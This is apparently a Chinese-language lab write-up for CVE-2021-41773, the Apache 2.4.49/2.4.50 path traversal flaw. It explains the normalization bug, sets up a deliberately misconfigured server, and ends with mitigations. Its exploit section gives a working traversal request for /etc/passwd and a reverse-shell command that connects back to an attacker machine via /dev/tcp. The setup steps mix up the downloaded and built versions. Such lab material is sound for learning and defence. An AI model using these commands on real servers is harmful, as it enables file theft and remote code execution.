CVE-2021-41773 的 POC 与实验室搭建文档
CVE-2021-41773 是 Apache HTTP 服务器 2.4.49 和 2.4.50 中的一个路径遍历漏洞。该漏洞利用了此版本中引入的路径规范化代码更新。
路径规范化函数:
通常,路径规范化会将 URL 路径过滤为标准格式,以防止攻击者进行恶意操作。
Apache HTTP Server 2.4.49 引入了对 ap_normalize_path 函数的更改,这成为了此漏洞的根本原因。
如果我们查看 源代码,可以发现该函数遍历给定 URL 中的每个字符并应用净化处理。
但漏洞存在于代码中执行 URL 解码的部分。该函数很简单,只会解码 URL 编码的字符:
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// 解码百分比编码的字符
const char c = x2c(&path[l + 1]);
// 检查解码后的字符是否为字母数字或允许的符号之一
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// 用解码后的字符替换最后一个字符并更新位置
l += 2;
path[l] = c;
}
}
问题在于它只处理 URL 中的第一个点 .,这意味着如果我们提供 .%2e/ 而不是 ../,服务器会将 %2e 解码为点,从而转换为 ../。
正常情况:
URL 输入:http://target/cgi-bin/../../etc/passwd
路径规范化步骤:
1. 检测 ../ -> 尝试向上遍历目录。
2. 规范化函数 -> 将移除或阻止 ../
易受攻击的情况:
URL 输入:http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
路径规范化步骤:
1. 将 %2e 解码为 . -> 结果是 ./.././../etc/passwd
2. 部分规范化 -> 未识别 .%2e/ 等同于 ../
3. 路径遍历未被完全阻止。
结果路径:/etc/passwd(访问被允许)
当此问题与服务器指令结合时,变得危险且可被利用。指令作为 Apache 服务器的行为规则。
Require all granted 配置将明确允许所有请求访问 DocumentRoot 内的资源。
<Directory />
AllowOverride None
Require all granted # 故意设置的易受攻击配置,通常此处应为拒绝
</Directory>
如果服务器在根级别配置了 Require all granted 指令,这将使整个文件系统公开可访问。
Apache 中的 cgi-bin 目录默认是一个别名目录,带有 Require all granted 指令,允许公共访问,意味着每个人都可以请求 /usr/local/apache2/cgi-bin/ 目录。
通过结合 ap_normalize_path 函数中允许路径遍历绕过的逻辑缺陷以及服务器上错误配置的 Require all granted 指令,攻击者可以访问服务器文件系统上预期目录之外的文件。
如果服务器上启用了 mod_cgi,此漏洞可以进一步利用,导致远程代码执行。
默认情况下,Apache HTTPD 未启用此模块,这意味着默认版本不易受 RCE 攻击。
mod_cgi 允许在服务器上执行 CGI(通用网关接口)脚本,并将输出返回给客户端;主要用于为网站提供动态功能。
下载易受攻击的 Apache 版本(从存档下载,因为易受攻击的版本无法直接安装):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
安装依赖项:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
解压易受攻击的 Apache 文件并配置:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
完成后,进入 Apache 的配置文件:
sudo nano /usr/local/apache2/conf/httpd.conf
在配置文件中添加以下内容:
ServerName 127.0.1.1
启动 Apache 服务:
sudo /usr/local/apache2/bin/apachectl start
导航到默认的 Web 服务器目录:
cd /usr/local/apache2/htdocs
注意:Apache 的根目录通常是 /var/www/html,这里为 /usr/local/apache2/htdocs,因为我们没有从源码安装服务器。如果需要,可以将其改为 /var/ww/html。不过目前我保持原样。
创建一个基本的静态网站:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
编辑 Apache 配置以模拟漏洞:
sudo nano /usr/local/apache2/conf/httpd.conf
修改配置文件中的这一部分,使漏洞可以被利用:
<Directory />
AllowOverride None
Require all granted # 故意设置的易受攻击配置,通常此处应为拒绝
</Directory>
现在启动 Apache 服务器:
sudo /usr/local/apache2/bin/apachectl start
通过输入以下网址访问易受攻击的网站:
http://<vm-ip>
实验室已设置完毕,现在让我们看看如何利用该漏洞:
以下 curl 请求将触发漏洞:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
我们可以通过这种方式访问 /etc/passwd 文件或系统中的任何文件。
让我们尝试命令注入并获取一个反向 shell:
在攻击者机器上设置 netcat 监听器:
nc -lvnp 4444
现在通过 curl 请求发送一行 Bash 命令到受害者机器:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
这将给我们一个 shell 访问权限。
对于版本 2.4.49 和 2.4.50,建议的缓解措施是升级到最新版本。
如果无法更新,建议审计目录以限制公共访问:
所有不打算公开访问的目录都应实施 Require all denied 指令,并且绝不在根目录或 / 目录下使用。
/cgi-bin 目录应配置 Require all denied 指令,且不应设置为别名。